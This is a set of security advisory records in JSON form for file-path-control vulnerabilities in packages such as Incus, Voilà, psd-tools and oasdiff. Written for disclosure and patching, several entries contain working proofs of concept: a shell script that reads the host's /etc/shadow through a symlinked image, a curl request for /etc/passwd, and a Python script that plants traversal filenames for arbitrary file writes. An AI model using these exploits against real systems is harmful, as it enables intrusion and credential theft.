{
  "affected": [],
  "aliases": [
    "CVE-2025-3419"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-08T06:15:32Z",
    "severity": "HIGH"
  },
  "details": "The Event Manager, Events Calendar, Tickets, Registrations \u2013 Eventin plugin for WordPress is vulnerable to arbitrary file read in all versions up to, and including, 4.0.26 via the proxy_image() function. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information.",
  "id": "GHSA-2gcx-5j95-fccj",
  "modified": "2026-04-08T18:33:52Z",
  "published": "2025-05-08T06:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3419"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3284545/wp-event-solution/trunk/core/Admin/Hooks.php"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1479071c-85c3-41fd-8ad7-f0dee32f201b?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.7.6"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/entireio/cli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.7.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T15:00:01Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nA path traversal vulnerability in Entire CLI allows an attacker with push access to the checkpoints repository to craft malicious checkpoint metadata that causes `entire session resume` or `entire checkpoint rewind` to write attacker-controlled transcript data outside of the expected session directory.\n\nThe issue occurs because checkpoint metadata is fetched from the remote `entire/checkpoints/v1` branch and the `SessionID` field was used to construct filesystem paths without validation in the restore path. A malicious `SessionID` containing absolute paths or path traversal sequences could cause arbitrary files on the victim\u2019s machine to be overwritten.\n\n### Patches\n\nThe patched versions (`v0.7.7` or `v0.7.8-nightly.*`) observe stronger input validation and enforce traversal-resistant primitives to ensure that only descending directories can be accessed by the affected commands. \n\n### Workarounds\nIf upgrading immediately is not possible:\n\n- Do not run `entire session resume` or `entire checkpoint rewind` on repositories where untrusted users can push to `entire/checkpoints/v1`.\n- Restrict push access to shared repositories until all collaborators have upgraded.\n- Inspect the `entire/checkpoints/v1` branch for suspicious checkpoint metadata before resuming or rewinding.\n- Remove or protect shell initialization files and other sensitive user-writable files where feasible.\n\nThese mitigations reduce exposure but do not fully address the vulnerability. Upgrading is recommended.\n\n### Credits\nThanks Navtej Kathuria for privately reporting this issue to the Entire Security team.",
  "id": "GHSA-2h46-9x5w-4wf7",
  "modified": "2026-06-19T15:00:01Z",
  "published": "2026-06-19T15:00:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/entireio/cli/security/advisories/GHSA-2h46-9x5w-4wf7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/entireio/cli/pull/1365"
    },
    {
      "type": "WEB",
      "url": "https://github.com/entireio/cli/pull/1449"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/entireio/cli"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:L/VA:N/SC:N/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Entire CLI: Path traversal in checkpoint session metadata allows arbitrary file write during resume/rewind"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.18.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/oasdiff/oasdiff"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.13.2"
            },
            {
              "fixed": "1.18.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53508"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693",
      "CWE-73",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-07T23:45:05Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nFrom **v1.13.2** through **v1.18.0**, oasdiff did not enforce `--allow-external-refs=false` (library: `openapi3.Loader.IsExternalRefsAllowed = false`) when loading a spec from a **git revision** (the `rev:path` form, e.g. `main:openapi.yaml`). External `$ref`s were resolved on that load path even when external refs were explicitly disabled, so the mitigation silently did not apply there.\n\n## Impact\n\nA caller who set `--allow-external-refs=false` *specifically to safely process untrusted specs* remained exposed \u2014 on the git-revision load path only \u2014 to:\n\n- **SSRF** via `$ref: \"http://\u003cinternal-host\u003e/\u2026\"`, and\n- **Local file reads** via `$ref: \"/path\"` or `file://`.\n\nAffected callers:\n\n- **CLI:** `oasdiff diff main:openapi.yaml HEAD:openapi.yaml --allow-external-refs=false` (and `breaking` / `changelog` / `summary`, and the `git-diff-driver`) run over untrusted spec content.\n- **Go library consumers** of `github.com/oasdiff/oasdiff/load` that set `IsExternalRefsAllowed = false` and load from a git-revision source via `load.NewSpecInfo`.\n\nThe file and URL load paths correctly enforced the setting; only the git-revision path was affected. Callers that left external refs at the default (`true`) are not in scope for *this* advisory.\n\n## Patches\n\n**v1.18.1** enforces the external-refs policy on the git-revision path (so `--allow-external-refs=false` now blocks external `$ref`s there) and returns a dedicated exit code (`123`) when an external `$ref` is refused.\n\n## Workarounds\n\n- Upgrade to **v1.18.1**, or\n- Avoid the git-revision input form when processing untrusted specs with external refs disabled.\n\n## Notes\n\n- Introduced in **v1.13.2** (#832, which added `$ref`-chain resolution on the git-revision path); fixed in **v1.18.1** (#974, #975).\n- The permissive **default** (`allow-external-refs: true`) and its zero-interaction exposure in CI via the GitHub Action is tracked separately in GHSA-fhj3-7267-7vv5 (oasdiff-action).",
  "id": "GHSA-2jcc-mxv7-p3f9",
  "modified": "2026-07-07T23:45:05Z",
  "published": "2026-07-07T23:45:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/oasdiff/oasdiff/security/advisories/GHSA-2jcc-mxv7-p3f9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oasdiff/oasdiff/pull/832"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oasdiff/oasdiff/pull/974"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oasdiff/oasdiff/pull/975"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/oasdiff/oasdiff"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "oasdiff does not enforce --allow-external-refs=false on the git-revision load path (SSRF / local file read)"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-35078"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-03T13:16:19Z",
    "severity": "HIGH"
  },
  "details": "The ugw-logstop method allows a remote attacker with user privileges  to delete arbitrary local files due to insufficient validation of user-controlled input.",
  "id": "GHSA-2jpx-w8gq-pj3x",
  "modified": "2026-06-03T15:30:42Z",
  "published": "2026-06-03T15:30:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35078"
    },
    {
      "type": "WEB",
      "url": "https://www.certvde.com/en/advisories/VDE-2026-039"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-6618"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-610",
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-12-08T17:15:08Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was found in SourceCodester Simple Student Attendance System 1.0. It has been declared as problematic. Affected by this vulnerability is an unknown functionality of the file index.php. The manipulation of the argument page leads to file inclusion. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-247255.",
  "id": "GHSA-2p9f-mh54-8vg9",
  "modified": "2023-12-08T18:30:42Z",
  "published": "2023-12-08T18:30:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6618"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.247255"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.247255"
    },
    {
      "type": "WEB",
      "url": "https://www.yuque.com/u39339523/el4dxs/krpez3nzv1144cuc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/lxc/incus/v7/cmd/incusd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48749"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-26T18:31:21Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nA specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.\n\n\n### Details\n\nIncus validates an image as soon as it sees a normal `metadata.yaml` and a `rootfs/` entry, but full extraction can later process a duplicate top-level `rootfs` symlink. Later, the stopped-container file API opens `d.RootfsPath()` and passes that file descriptor to `forkfile`, which chroots to it.\n\n```\nmetadata.yaml\nrootfs/\nrootfs -\u003e /\n```\n\nIn practice, this allows a malicious actor to access the host\u0027s filesystem with root privileges.\n\n\n### PoC\n\nBelow, we map the container\u0027s rootfs to `/` on the host, but it can be mapped anywhere. We then retrieve the host\u0027s `/etc/shadow` file and create a file in `/`.\n\n```\n#!/bin/sh\nset -eu\n\ntmpdir=$(mktemp -d)\ncleanup() {\n    rm -rf \"${tmpdir}\"\n}\ntrap cleanup EXIT INT QUIT TERM HUP\n\nmkdir -p \"${tmpdir}/img/rootfs\"\ncat\u003c\u003c__EOF__\u003e\"${tmpdir}/img/metadata.yaml\"\narchitecture: x86_64\ncreation_date: 1\nproperties:\n  description: PoC rootfs symlink host afrw\n__EOF__\n\ncd \"${tmpdir}/img\"\ntar --owner=0 --group=0 -f- -c * \u003e../afrw-rootfs-symlink.tar\n\n# inject rootfs symlink\nrmdir rootfs\nln -s / rootfs\ntar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs\n\n\nincus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink\nincus init afrw-rootfs-symlink afrw-rootfs-symlink\n\n\n# read\nincus file pull afrw-rootfs-symlink/etc/shadow \"${tmpdir}/shadow\"\ncat \"${tmpdir}/shadow\"\n\n# write\nprintf \u0027afrw-rootfs-symlink\\n\u0027 \u003e\"${tmpdir}/afrw-rootfs-symlink\"\nincus file push \"${tmpdir}/afrw-rootfs-symlink\" afrw-rootfs-symlink/\n```\n\n### Impact\n\nArbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.",
  "id": "GHSA-2q3f-q5pq-g8wv",
  "modified": "2026-06-26T18:31:21Z",
  "published": "2026-06-26T18:31:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lxc/incus"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "voila"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.0.2"
            },
            {
              "fixed": "0.2.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "voila"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.3.0a0"
            },
            {
              "fixed": "0.3.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "voila"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.4.0a0"
            },
            {
              "fixed": "0.4.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "voila"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.5.0a0"
            },
            {
              "fixed": "0.5.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-30265"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-03T14:13:02Z",
    "nvd_published_at": "2024-04-03T23:15:13Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nAny deployment of voil\u00e0 dashboard allow local file inclusion, that is to say any file on a filesystem that is readable by the user that runs the voil\u00e0 dashboard server can be downloaded by someone with network access to the server. \n\nWhether this still requires authentication depends on how voil\u00e0 is deployed.\n\n### Patches\n\nThis is patched in 0.2.17+, 0.3.8+, 0.4.4+, 0.5.6+\n\n### Workarounds\n\nNone.\n\n\n### References\n\nCWE-73: External Control of File Name or Path\n\n\n### Original report\n\nI have found a local file inclusion vulnerability in one of your subprojects, voila (https://github.com/voila-dashboards/voila).\n\nThe vulnerability exists in the \"/static\" Route, and can be exploited by simply making a request such as this:\n\n```\n$ curl localhost:8866/static/etc/passwd\n```\n\n...or by using a webbrowser to download the file.\n\nI dug into the source code, and I think the offending line is here: https://github.com/voila-dashboards/voila/blob/8419cc7d79c0bb1dabfbd9ec49cb957740609d4d/voila/app.py#L664\n`\"static_path\"` gets set to `\"/\"`, irrespective of the actual `\"--static\"` cli option. Because of that, the `tornado.web.StaticFileHandler` gets initialized with `path=\"/\"`. Then, `tornado.web.StaticFileHandler.get` calls `tornado.web.StaticFileHandler.get_absolute_path` with `root=\"/\"` and `path=\"[USER SUPPLIED PATH]\"`, which leads to local file inclusion. An attacker can request any file on the system they want (that the user running voila has access to).\n\nI suspect this was an oversight during development. Setting `static_path=self.static_root` (the aforementioned correct cli option) in line 664 provides the intended behavior and restricts the file access to the static directory.\nFrom what I can tell, this line has been in the repository since September 2018. This is the commit that added it: https://github.com/voila-dashboards/voila/commit/28faacc9b03b160fd8fa920ad045f4ec0667ab67\n\nI have found multiple voila instances online that are impacted, such as:\n- ... [redacted]\n- ... [redacted]\n- ... [redacted]\n\n...but many more probably exist. They\u0027re easy to identify by `[redacted]` Therefore the Issue should be fixed as soon as possible, and a security advisory should be released to inform the impacted users.\n\n",
  "id": "GHSA-2q59-h24c-w6fg",
  "modified": "2024-04-04T13:37:56Z",
  "published": "2024-04-03T14:13:02Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/voila-dashboards/voila/security/advisories/GHSA-2q59-h24c-w6fg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-30265"
    },
    {
      "type": "WEB",
      "url": "https://github.com/voila-dashboards/voila/commit/00d6362c237b6b4d466873535554d6076ead0c52"
    },
    {
      "type": "WEB",
      "url": "https://github.com/voila-dashboards/voila/commit/28faacc9b03b160fd8fa920ad045f4ec0667ab67"
    },
    {
      "type": "WEB",
      "url": "https://github.com/voila-dashboards/voila/commit/5542e4ae36bb5d184deaa48f95e76be477756af2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/voila-dashboards/voila/commit/98b6a40fec27723572314fdbba99bdc147d904c8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/voila-dashboards/voila/commit/c045be6988539d07cceeb9f82fc660a49485d504"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/voila-dashboards/voila"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Voil\u00e0 Local file inclusion"
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-1105"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-03-01T02:15:00Z",
    "severity": "HIGH"
  },
  "details": "External Control of File Name or Path in GitHub repository flatpressblog/flatpress prior to 1.3.",
  "id": "GHSA-2qf9-qchx-rh67",
  "modified": "2023-03-09T15:30:50Z",
  "published": "2023-03-01T03:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1105"
    },
    {
      "type": "WEB",
      "url": "https://github.com/flatpressblog/flatpress/commit/5d5c7f6d8f072d14926fc2c3a97cdd763802f170"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/4089a63f-cffd-42f3-b8d8-e80b6bd9c80f"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.17.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "psd-tools"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.17.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49836"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-09T23:20:47Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# psd-tools: arbitrary file write/read via smart-object path traversal\n\n## Summary\n\nIn `psd-tools` (all releases exposing the `SmartObject` API through **v1.17.0**), `SmartObject.save()` writes an embedded smart object to a path taken verbatim from the PSD file. Because that name is attacker-controlled and unsanitised, a tool that extracts embedded objects from an untrusted `.psd` can be made to write attacker-chosen bytes to an attacker-chosen path (absolute or `../`-traversing), outside its intended output directory.\n\nA secondary issue in `SmartObject.open()` for external-kind smart objects allows the attacker-controlled `fullPath` descriptor to be used as an arbitrary file **read** path, enabling exfiltration of the read content to the controlled write destination. Both issues are fixed in **v1.17.1**.\n\n## Details\n\n### Write path \u2014 `SmartObject.save()` (primary)\n\n`src/psd_tools/api/smart_object.py:170-179` (tag `v1.17.0`):\n\n```python\ndef save(self, filename: str | None = None) -\u003e None:\n    if filename is None:\n        filename = self.filename          # untrusted, straight from the file\n    with open(filename, \"wb\") as f:\n        f.write(self.data)                # attacker-controlled bytes\n```\n\n`self.filename` comes from the file with no validation \u2014 the `filename` property (`:62-67`) returns `self._data.filename`, set by the linked-layer parser at `src/psd_tools/psd/linked_layer.py:100` (`read_unicode_string(fp)`). There is no `basename`, no absolute path rejection, and no `..` filtering; the written contents (`self.data`) are likewise from the file, so the attacker controls both destination and content.\n\n### Read path \u2014 `SmartObject.open()` / `.data` for external kind (secondary)\n\nFor `kind == \"external\"`, `save()` read file content via the `data` property, which called `open()` with no `external_dir` constraint. The `fullPath` descriptor embedded in the PSD was then used verbatim as the source path, enabling an attacker-crafted PSD to cause `save(directory=\"/safe/out\")` to read an arbitrary readable file (e.g. `/etc/passwd`) and write its contents to the output directory.\n\n## Proof of concept\n\nStandalone, against the released package (writes only into a fresh temp dir; exit 0 = confirmed). A Docker bundle is available on request.\n\n```bash\npip install psd-tools==1.17.0\npython poc.py\n```\n\n`poc.py` builds two PSDs from the project\u0027s own `placedLayer.psd` fixture (included as `base.psd`), differing **only** in the embedded smart-object name \u2014 `control` is a bare basename, `exploit` is `../../PWNED-psd-tools-poc.bin` \u2014 then extracts each like a consumer would:\n\n```python\nimport os, shutil, tempfile\nfrom psd_tools import PSDImage\nfrom psd_tools.constants import Tag\n\nMARKER = b\"PSD-TOOLS-POC: arbitrary-file-write payload (attacker-controlled bytes)\\n\"\nNAMES = {\"control\": \"embedded-export.bin\", \"exploit\": \"../../PWNED-psd-tools-poc.bin\"}\n\ndef craft(name, out):\n    psd = PSDImage.open(os.path.join(os.path.dirname(__file__), \"base.psd\"))\n    uuid = next(l.smart_object.unique_id for l in psd.descendants()\n                if l.kind == \"smartobject\" and l.smart_object.kind == \"data\")\n    for key in (Tag.LINKED_LAYER1, Tag.LINKED_LAYER2, Tag.LINKED_LAYER3, Tag.LINKED_LAYER_EXTERNAL):\n        for item in (psd.tagged_blocks.get_data(key) or []) if key in psd.tagged_blocks else []:\n            if item.uuid.strip(\"\\x00\") == uuid:\n                item.filename, item.data = name, MARKER\n    psd.save(out)\n\ndef extract(psd_path, outdir, watch):\n    psd = PSDImage.open(psd_path)\n    before = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}\n    cwd = os.getcwd(); os.chdir(outdir)\n    try:\n        for l in psd.descendants():\n            if l.kind == \"smartobject\" and l.smart_object.kind == \"data\":\n                l.smart_object.save()\n    finally:\n        os.chdir(cwd)\n    after = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}\n    return sorted(after - before)\n\ndef main():\n    tmp = tempfile.mkdtemp(prefix=\"poc_\")\n    try:\n        escaped = {}\n        for tag, name in NAMES.items():\n            psd = os.path.join(tmp, tag + \".psd\"); craft(name, psd)\n            so = next(l.smart_object for l in PSDImage.open(psd).descendants()\n                      if l.kind == \"smartobject\" and l.smart_object.kind == \"data\")\n            print(f\"[{tag}] parsed embedded name = {so.filename!r}\")\n            outdir = os.path.join(tmp, tag, \"app\", \"extracted\"); os.makedirs(outdir)\n            written = extract(psd, outdir, tmp); out = os.path.realpath(outdir)\n            esc = [w for w in written if not w.startswith(out + os.sep)]; escaped[tag] = esc\n            for w in written:\n                print(f\"[{tag}] wrote {w}  {chr(39)}OUTSIDE output dir{chr(39) if w in esc else chr(39)}inside output dir{chr(39)}\")\n        ok = (not escaped[\"control\"] and escaped[\"exploit\"]\n              and all(open(w, \"rb\").read() == MARKER for w in escaped[\"exploit\"]))\n        print(\"\\nVERDICT:\", \"ARBITRARY FILE WRITE CONFIRMED\" if ok else \"not reproduced\")\n        return 0 if ok else 1\n    finally:\n        shutil.rmtree(tmp, ignore_errors=True)\n\nraise SystemExit(main())\n```\n\nOutput (`psd-tools 1.17.0`):\n\n```\n[control] parsed embedded name = \u0027embedded-export.bin\u0027\n[control] wrote .../poc_*/control/app/extracted/embedded-export.bin  inside output dir\n[exploit] parsed embedded name = \u0027../../PWNED-psd-tools-poc.bin\u0027\n[exploit] wrote .../poc_*/exploit/PWNED-psd-tools-poc.bin  OUTSIDE output dir\n\nVERDICT: ARBITRARY FILE WRITE CONFIRMED\n```\n\nAn absolute embedded name (e.g. `/home/user/.bashrc`) is honoured the same way.\n\n## Impact\n\nAny application that ingests untrusted PSD/PSB files and extracts their embedded smart objects via `SmartObject.save()` can be coerced into writing attacker-controlled bytes to an attacker-chosen existing directory \u2014 no authentication or special configuration required. High integrity impact; can escalate to code execution depending on the target path.\n\nFor external-kind smart objects the same call additionally allowed arbitrary file reads, with the read content written to the controlled output directory.\n\n## Severity\n\n**Moderate** for the common case (a library/desktop tool where a user initiates extraction). Higher for a service that auto-extracts smart objects from uploaded PSDs without user interaction.\n\n## Patch\n\nFixed in **v1.17.1** (PR #657). Changes to `src/psd_tools/api/smart_object.py`:\n\n- **`save()`**: strips directory components from the embedded name via `os.path.basename()`, writes only into a caller-supplied `directory` (defaults to CWD), and verifies the resolved path stays inside that directory via `os.path.realpath()` + `os.path.commonpath()`. A new `external_dir` parameter is propagated to `open()` for external-kind objects to constrain the read source.\n- **`open()`**: when `external_dir` is provided, a `fullPath` resolving outside it is silently ignored (falls through to `relPath`); a `relPath` escaping the directory raises `ValueError`.\n\n## Weaknesses\n\nCWE-22 (Improper Limitation of a Pathname to a Restricted Directory) via CWE-73 (External Control of File Name or Path).\n\n## Resources\n\n- Fix PR: https://github.com/psd-tools/psd-tools/pull/657\n- Release: https://github.com/psd-tools/psd-tools/releases/tag/v1.17.1\n- Affected source (tag `v1.17.0`): `src/psd_tools/api/smart_object.py:170-179`\n  (sink), `:62-67` (untrusted `filename`); `src/psd_tools/psd/linked_layer.py:100`\n  (source).\n- Distinct in class from the published advisories (GHSA-24p2-j2jr-386w \u2014\n  compression resource exhaustion; GHSA-22jr-vc7j-g762 \u2014 buffer overflow). The\n  `save()` write logic is unchanged since the `SmartObject` API was introduced,\n  so all releases exposing it are affected.",
  "id": "GHSA-2rmg-vrx8-9j2f",
  "modified": "2026-07-09T23:20:47Z",
  "published": "2026-07-09T23:20:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/psd-tools/psd-tools/security/advisories/GHSA-2rmg-vrx8-9j2f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/psd-tools/psd-tools/pull/657"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/psd-tools/psd-tools"
    },
    {
      "type": "WEB",
      "url": "http://github.com/psd-tools/psd-tools/releases/tag/v1.17.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "psd-tools vulnerable to arbitrary file write via smart-object filename"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-20175"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-03T18:16:19Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in Cisco Finesse could allow an unauthenticated, remote attacker to load arbitrary files from remote locations into an active user session on an affected device, possibly leading to browser-based attacks.\n\nThis vulnerability is due to insufficient validation of user-supplied input for HTTP requests that are sent to an affected device. An attacker who has knowledge of the address of the affected device could exploit this vulnerability by persuading a user to click a crafted link that contains the affected device address. A successful exploit could allow the attacker to conduct browser-based attacks and execute arbitrary script code in the context of the affected interface or access sensitive information on the affected device.",
  "id": "GHSA-2vpr-x5cr-vrgv",
  "modified": "2026-06-03T18:33:11Z",
  "published": "2026-06-03T18:33:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20175"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-finesse-rfi-gwpkdc89"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}